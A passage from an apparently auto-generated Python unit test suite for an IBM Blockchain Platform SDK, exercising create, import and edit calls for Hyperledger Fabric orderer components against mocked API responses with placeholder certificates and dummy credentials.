config_orderer_authentication_model = {}
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
# Construct a dict representation of a ConfigOrdererGeneral model
config_orderer_general_model = {}
config_orderer_general_model['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_model['BCCSP'] = bccsp_model
config_orderer_general_model['Authentication'] = config_orderer_authentication_model
# Construct a dict representation of a ConfigOrdererDebug model
config_orderer_debug_model = {}
config_orderer_debug_model['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model['DeliverTraceDir'] = 'testString'
# Construct a dict representation of a ConfigOrdererMetricsStatsd model
config_orderer_metrics_statsd_model = {}
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
# Construct a dict representation of a ConfigOrdererMetrics model
config_orderer_metrics_model = {}
config_orderer_metrics_model['Provider'] = 'disabled'
config_orderer_metrics_model['Statsd'] = config_orderer_metrics_statsd_model
# Construct a dict representation of a ConfigOrdererCreate model
config_orderer_create_model = {}
config_orderer_create_model['General'] = config_orderer_general_model
config_orderer_create_model['Debug'] = config_orderer_debug_model
config_orderer_create_model['Metrics'] = config_orderer_metrics_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a CreateOrdererRaftBodyResources model
create_orderer_raft_body_resources_model = {}
create_orderer_raft_body_resources_model['orderer'] = resource_object_model
create_orderer_raft_body_resources_model['proxy'] = resource_object_model
# Construct a dict representation of a StorageObject model
storage_object_model = {}
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a dict representation of a CreateOrdererRaftBodyStorage model
create_orderer_raft_body_storage_model = {}
create_orderer_raft_body_storage_model['orderer'] = storage_object_model
# Construct a dict representation of a Hsm model
hsm_model = {}
hsm_model['pkcs11endpoint'] = 'tcp://example.com:666'
# Set up parameter values
orderer_type = 'raft'
msp_id = 'Org1'
display_name = 'orderer'
crypto = [crypto_object_model]
cluster_name = 'ordering service 1'
id = 'component1'
cluster_id = 'abcde'
external_append = False
config_override = [config_orderer_create_model]
resources = create_orderer_raft_body_resources_model
storage = create_orderer_raft_body_storage_model
system_channel_id = 'testchainid'
zone = ['-']
tags = ['fabric-ca']
region = ['-']
hsm = hsm_model
version = '1.4.6-1'
# Invoke method
response = service.create_orderer(
orderer_type,
msp_id,
display_name,
crypto,
cluster_name=cluster_name,
id=id,
cluster_id=cluster_id,
external_append=external_append,
config_override=config_override,
resources=resources,
storage=storage,
system_channel_id=system_channel_id,
zone=zone,
tags=tags,
region=region,
hsm=hsm,
version=version,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['orderer_type'] == 'raft'
assert req_body['msp_id'] == 'Org1'
assert req_body['display_name'] == 'orderer'
assert req_body['crypto'] == [crypto_object_model]
assert req_body['cluster_name'] == 'ordering service 1'
assert req_body['id'] == 'component1'
assert req_body['cluster_id'] == 'abcde'
assert req_body['external_append'] == False
assert req_body['config_override'] == [config_orderer_create_model]
assert req_body['resources'] == create_orderer_raft_body_resources_model
assert req_body['storage'] == create_orderer_raft_body_storage_model
assert req_body['system_channel_id'] == 'testchainid'
assert req_body['zone'] == ['-']
assert req_body['tags'] == ['fabric-ca']
assert req_body['region'] == ['-']
assert req_body['hsm'] == hsm_model
assert req_body['version'] == '1.4.6-1'
@responses.activate
def test_create_orderer_value_error(self):
"""
test_create_orderer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-orderer')
mock_response = '{"created": [{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a CryptoObjectEnrollmentCa model
crypto_object_enrollment_ca_model = {}
crypto_object_enrollment_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model['port'] = 7054
crypto_object_enrollment_ca_model['name'] = 'ca'
crypto_object_enrollment_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a CryptoObjectEnrollmentTlsca model
crypto_object_enrollment_tlsca_model = {}
crypto_object_enrollment_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model['port'] = 7054
crypto_object_enrollment_tlsca_model['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a CryptoObjectEnrollment model
crypto_object_enrollment_model = {}
crypto_object_enrollment_model['component'] = crypto_enrollment_component_model
crypto_object_enrollment_model['ca'] = crypto_object_enrollment_ca_model
crypto_object_enrollment_model['tlsca'] = crypto_object_enrollment_tlsca_model
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a MspCryptoComp model
msp_crypto_comp_model = {}
msp_crypto_comp_model['ekey'] = 'testString'
msp_crypto_comp_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model['tls_key'] = 'testString'
msp_crypto_comp_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['client_auth'] = client_auth_model
# Construct a dict representation of a MspCryptoCa model
msp_crypto_ca_model = {}
msp_crypto_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a CryptoObjectMsp model
crypto_object_msp_model = {}
crypto_object_msp_model['component'] = msp_crypto_comp_model
crypto_object_msp_model['ca'] = msp_crypto_ca_model
crypto_object_msp_model['tlsca'] = msp_crypto_ca_model
# Construct a dict representation of a CryptoObject model
crypto_object_model = {}
crypto_object_model['enrollment'] = crypto_object_enrollment_model
crypto_object_model['msp'] = crypto_object_msp_model
# Construct a dict representation of a ConfigOrdererKeepalive model
config_orderer_keepalive_model = {}
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigOrdererAuthentication model
config_orderer_authentication_model = {}
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
# Construct a dict representation of a ConfigOrdererGeneral model
config_orderer_general_model = {}
config_orderer_general_model['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_model['BCCSP'] = bccsp_model
config_orderer_general_model['Authentication'] = config_orderer_authentication_model
# Construct a dict representation of a ConfigOrdererDebug model
config_orderer_debug_model = {}
config_orderer_debug_model['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model['DeliverTraceDir'] = 'testString'
# Construct a dict representation of a ConfigOrdererMetricsStatsd model
config_orderer_metrics_statsd_model = {}
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
# Construct a dict representation of a ConfigOrdererMetrics model
config_orderer_metrics_model = {}
config_orderer_metrics_model['Provider'] = 'disabled'
config_orderer_metrics_model['Statsd'] = config_orderer_metrics_statsd_model
# Construct a dict representation of a ConfigOrdererCreate model
config_orderer_create_model = {}
config_orderer_create_model['General'] = config_orderer_general_model
config_orderer_create_model['Debug'] = config_orderer_debug_model
config_orderer_create_model['Metrics'] = config_orderer_metrics_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a CreateOrdererRaftBodyResources model
create_orderer_raft_body_resources_model = {}
create_orderer_raft_body_resources_model['orderer'] = resource_object_model
create_orderer_raft_body_resources_model['proxy'] = resource_object_model
# Construct a dict representation of a StorageObject model
storage_object_model = {}
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a dict representation of a CreateOrdererRaftBodyStorage model
create_orderer_raft_body_storage_model = {}
create_orderer_raft_body_storage_model['orderer'] = storage_object_model
# Construct a dict representation of a Hsm model
hsm_model = {}
hsm_model['pkcs11endpoint'] = 'tcp://example.com:666'
# Set up parameter values
orderer_type = 'raft'
msp_id = 'Org1'
display_name = 'orderer'
crypto = [crypto_object_model]
cluster_name = 'ordering service 1'
id = 'component1'
cluster_id = 'abcde'
external_append = False
config_override = [config_orderer_create_model]
resources = create_orderer_raft_body_resources_model
storage = create_orderer_raft_body_storage_model
system_channel_id = 'testchainid'
zone = ['-']
tags = ['fabric-ca']
region = ['-']
hsm = hsm_model
version = '1.4.6-1'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"orderer_type": orderer_type,
"msp_id": msp_id,
"display_name": display_name,
"crypto": crypto,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.create_orderer(**req_copy)
class TestImportOrderer():
"""
Test Class for import_orderer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_import_orderer_all_params(self):
"""
import_orderer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-orderer')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a MspCryptoFieldCa model
msp_crypto_field_ca_model = {}
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldTlsca model
msp_crypto_field_tlsca_model = {}
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldComponent model
msp_crypto_field_component_model = {}
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoField model
msp_crypto_field_model = {}
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
# Set up parameter values
cluster_name = 'ordering service 1'
display_name = 'orderer'
grpcwp_url = 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
msp = msp_crypto_field_model
msp_id = 'Org1'
api_url = 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
cluster_id = 'mzdqhdifnl'
id = 'component1'
location = 'ibmcloud'
operations_url = 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
system_channel_id = 'testchainid'
tags = ['fabric-ca']
# Invoke method
response = service.import_orderer(
cluster_name,
display_name,
grpcwp_url,
msp,
msp_id,
api_url=api_url,
cluster_id=cluster_id,
id=id,
location=location,
operations_url=operations_url,
system_channel_id=system_channel_id,
tags=tags,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['cluster_name'] == 'ordering service 1'
assert req_body['display_name'] == 'orderer'
assert req_body['grpcwp_url'] == 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
assert req_body['msp'] == msp_crypto_field_model
assert req_body['msp_id'] == 'Org1'
assert req_body['api_url'] == 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
assert req_body['cluster_id'] == 'mzdqhdifnl'
assert req_body['id'] == 'component1'
assert req_body['location'] == 'ibmcloud'
assert req_body['operations_url'] == 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
assert req_body['system_channel_id'] == 'testchainid'
assert req_body['tags'] == ['fabric-ca']
@responses.activate
def test_import_orderer_value_error(self):
"""
test_import_orderer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-orderer')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"orderer": {"size": "4GiB", "class": "default"}}, "system_channel_id": "testchainid", "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a MspCryptoFieldCa model
msp_crypto_field_ca_model = {}
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldTlsca model
msp_crypto_field_tlsca_model = {}
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldComponent model
msp_crypto_field_component_model = {}
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoField model
msp_crypto_field_model = {}
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
# Set up parameter values
cluster_name = 'ordering service 1'
display_name = 'orderer'
grpcwp_url = 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
msp = msp_crypto_field_model
msp_id = 'Org1'
api_url = 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
cluster_id = 'mzdqhdifnl'
id = 'component1'
location = 'ibmcloud'
operations_url = 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
system_channel_id = 'testchainid'
tags = ['fabric-ca']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"cluster_name": cluster_name,
"display_name": display_name,
"grpcwp_url": grpcwp_url,
"msp": msp,
"msp_id": msp_id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.import_orderer(**req_copy)
class TestEditOrderer():
"""
Test Class for edit_orderer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_edit_orderer_all_params(self):
"""
edit_orderer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-orderer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050", "display_name": "orderer", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443", "location": "ibmcloud", "operations_url": "https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443", "orderer_type": "raft", "config_override": {"anyKey": "anyValue"}, "consenter_proposal_fin": true, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": 